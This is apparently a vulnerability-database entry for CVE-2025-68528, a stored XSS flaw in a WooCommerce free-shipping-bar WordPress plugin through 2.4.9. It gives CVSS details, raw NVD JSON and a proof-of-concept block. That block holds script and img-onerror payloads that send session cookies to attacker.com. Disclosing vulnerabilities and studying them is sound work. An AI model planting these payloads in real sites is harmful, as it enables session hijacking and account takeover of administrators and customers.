Security Vulnerability Report
中文
CVE-2025-68528 CVSS 6.5 MEDIUM

CVE-2025-68528

Published: 2025-12-24 13:16:22
Last Modified: 2026-04-27 19:16:28

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPFactory Free Shipping Bar: Amount Left for Free Shipping for WooCommerce amount-left-free-shipping-woocommerce allows Stored XSS.This issue affects Free Shipping Bar: Amount Left for Free Shipping for WooCommerce: from n/a through <= 2.4.9.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Free Shipping Bar: Amount Left for Free Shipping for WooCommerce <= 2.4.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-68528 Stored XSS PoC // Target: WordPress with Free Shipping Bar plugin <= 2.4.9 // Step 1: Login to WordPress with low privilege account (e.g., subscriber) // Step 2: Navigate to WooCommerce > Free Shipping Bar settings // Step 3: Inject XSS payload in any text field (e.g., message text, amount field) // Example payload injection via plugin settings: // In "Message text" or "Amount" field, enter: const xssPayload = `<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>`; // Alternative payload using event handler (bypasses some filters): const altPayload = `<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">`; // When admin or customer visits the page with shipping bar: // - The payload is loaded from database // - Browser executes the injected JavaScript // - Session cookies are sent to attacker-controlled server // HTTP request example showing cookie theft: /* GET / HTTP/1.1 Host: target.com Cookie: wordpress_logged_in_xxx=stolen_session_cookie GET /steal?cookie=wordpress_logged_in_xxx=stolen_session_cookie HTTP/1.1 Host: attacker.com */ // Remediation: Upgrade to version 2.5.0 or later

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68528", "sourceIdentifier": "[email protected]", "published": "2025-12-24T13:16:22.233", "lastModified": "2026-04-27T19:16:28.267", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPFactory Free Shipping Bar: Amount Left for Free Shipping for WooCommerce amount-left-free-shipping-woocommerce allows Stored XSS.This issue affects Free Shipping Bar: Amount Left for Free Shipping for WooCommerce: from n/a through <= 2.4.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/amount-left-free-shipping-woocommerce/vulnerability/wordpress-free-shipping-bar-amount-left-for-free-shipping-for-woocommerce-plugin-2-4-9-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}